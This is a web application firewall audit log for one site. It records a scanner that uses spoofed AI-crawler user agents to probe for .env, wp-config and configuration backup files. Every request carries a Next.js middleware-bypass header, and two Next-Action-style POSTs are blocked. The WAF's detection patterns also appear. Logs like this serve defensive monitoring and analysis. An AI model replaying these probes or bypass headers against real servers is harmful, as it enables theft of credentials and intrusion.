Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293735711876 78114 (- - -)
Stopwatch2: 1789293735711876 78114; combined=4571, p1=248, p2=4274, p3=0, p4=0, p5=48, sr=120, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6c10cb4b-Z--
--d03b567d-A--
[13/Sep/2026:13:02:15.974059 +0300] aqZ0pzTJ6xTvcJoem7f7gAAAAEY 34.80.249.255 51610 127.0.0.1 7081
--d03b567d-B--
GET /configuration.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d03b567d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d03b567d-H--
Message: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/configuration.php.bak"] [unique_id "aqZ0pzTJ6xTvcJoem7f7gAAAAEY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293735897175 76939 (- - -)
Stopwatch2: 1789293735897175 76939; combined=5067, p1=238, p2=4773, p3=0, p4=0, p5=56, sr=81, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d03b567d-Z--
--ce823d02-A--
[13/Sep/2026:13:02:15.974664 +0300] aqZ0p2M7dE9KgIIOpQh3cwAAAMM 34.80.249.255 51582 127.0.0.1 7081
--ce823d02-B--
GET /config.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ce823d02-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ce823d02-H--
Message: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/config.php.bak"] [unique_id "aqZ0p2M7dE9KgIIOpQh3cwAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293735864778 109955 (- - -)
Stopwatch2: 1789293735864778 109955; combined=6253, p1=304, p2=5866, p3=0, p4=0, p5=82, sr=134, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ce823d02-Z--
--2b651b75-A--
[13/Sep/2026:13:02:16.179885 +0300] aqZ0qGM7dE9KgIIOpQh3dQAAANI 34.80.249.255 51634 127.0.0.1 7081
--2b651b75-B--
GET /.env.swp HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--2b651b75-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2b651b75-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.swp"] [unique_id "aqZ0qGM7dE9KgIIOpQh3dQAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293736105667 74290 (- - -)
Stopwatch2: 1789293736105667 74290; combined=4790, p1=260, p2=4475, p3=0, p4=0, p5=55, sr=114, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2b651b75-Z--
--0b662528-A--
[13/Sep/2026:13:02:16.326512 +0300] aqZ0qCsVWymXUono-eRVfAAAAAM 34.80.249.255 51640 127.0.0.1 7081
--0b662528-B--
GET /public/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--0b662528-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0b662528-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/public/.env"] [unique_id "aqZ0qCsVWymXUono-eRVfAAAAAM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293736246350 80222 (- - -)
Stopwatch2: 1789293736246350 80222; combined=4659, p1=272, p2=4336, p3=0, p4=0, p5=50, sr=111, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0b662528-Z--
--1bd5ba3c-A--
[13/Sep/2026:13:02:16.384372 +0300] aqZ0qGM7dE9KgIIOpQh3dgAAANE 34.80.249.255 51642 127.0.0.1 7081
--1bd5ba3c-B--
GET /web/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--1bd5ba3c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--1bd5ba3c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/web/.env"] [unique_id "aqZ0qGM7dE9KgIIOpQh3dgAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293736291349 93088 (- - -)
Stopwatch2: 1789293736291349 93088; combined=4163, p1=313, p2=3795, p3=0, p4=0, p5=55, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1bd5ba3c-Z--
--03190841-A--
[13/Sep/2026:13:02:16.485747 +0300] aqZ0qGM7dE9KgIIOpQh3dwAAAMc 34.80.249.255 51652 127.0.0.1 7081
--03190841-B--
GET /storage/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--03190841-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--03190841-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/storage/.env"] [unique_id "aqZ0qGM7dE9KgIIOpQh3dwAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293736400874 84930 (- - -)
Stopwatch2: 1789293736400874 84930; combined=5966, p1=282, p2=5632, p3=0, p4=0, p5=51, sr=136, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--03190841-Z--
--d200da2d-A--
[13/Sep/2026:13:02:16.561092 +0300] aqZ0qGM7dE9KgIIOpQh3eAAAAMc 34.80.249.255 51666 127.0.0.1 7081
--d200da2d-B--
GET /wp/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d200da2d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d200da2d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp/.env"] [unique_id "aqZ0qGM7dE9KgIIOpQh3eAAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293736489178 71970 (- - -)
Stopwatch2: 1789293736489178 71970; combined=4306, p1=193, p2=4063, p3=0, p4=0, p5=50, sr=78, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d200da2d-Z--
--71905234-A--
[13/Sep/2026:13:02:16.648016 +0300] aqZ0qCsVWymXUono-eRVfQAAABg 34.80.249.255 51678 127.0.0.1 7081
--71905234-B--
GET /wp-config.php~ HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--71905234-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--71905234-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqZ0qCsVWymXUono-eRVfQAAABg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqZ0qCsVWymXUono-eRVfQAAABg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqZ0qCsVWymXUono-eRVfQAAABg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqZ0qCsVWymXUono-eRVfQAAABg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293736550607 97466 (- - -)
Stopwatch2: 1789293736550607 97466; combined=32388, p1=849, p2=31466, p3=0, p4=0, p5=73, sr=133, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--71905234-Z--
--a32fd33c-A--
[13/Sep/2026:13:02:17.153195 +0300] aqZ0qDTJ6xTvcJoem7f7gQAAAEo 34.80.249.255 51708 127.0.0.1 7081
--a32fd33c-B--
GET /wp-config.php.swp HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--a32fd33c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a32fd33c-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZ0qDTJ6xTvcJoem7f7gQAAAEo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZ0qDTJ6xTvcJoem7f7gQAAAEo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZ0qDTJ6xTvcJoem7f7gQAAAEo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZ0qDTJ6xTvcJoem7f7gQAAAEo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293736888858 264418 (- - -)
Stopwatch2: 1789293736888858 264418; combined=40345, p1=241, p2=40035, p3=0, p4=0, p5=69, sr=101, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a32fd33c-Z--
--ca583013-A--
[13/Sep/2026:13:02:21.745331 +0300] aqZ0rWM7dE9KgIIOpQh3kAAAAMA 34.80.249.255 52250 127.0.0.1 7081
--ca583013-B--
POST /api HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 455
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----r2s1sgtogadnk0fq
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Next-Action: r2s
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Accept-Encoding: gzip
--ca583013-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ca583013-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293741659540 85871 (- - -)
Stopwatch2: 1789293741659540 85871; combined=19909, p1=379, p2=4614, p3=0, p4=0, p5=7594, sr=109, sw=0, l=0, gc=7322
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ca583013-Z--
--4bf94336-A--
[13/Sep/2026:13:02:22.213098 +0300] aqZ0rkwu1RSkptiiNIX53gAAAJU 34.80.249.255 52266 127.0.0.1 7081
--4bf94336-B--
POST /api/v1/validate/code HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 166
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Content-Type: application/json
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Accept-Encoding: gzip
--4bf94336-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4bf94336-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
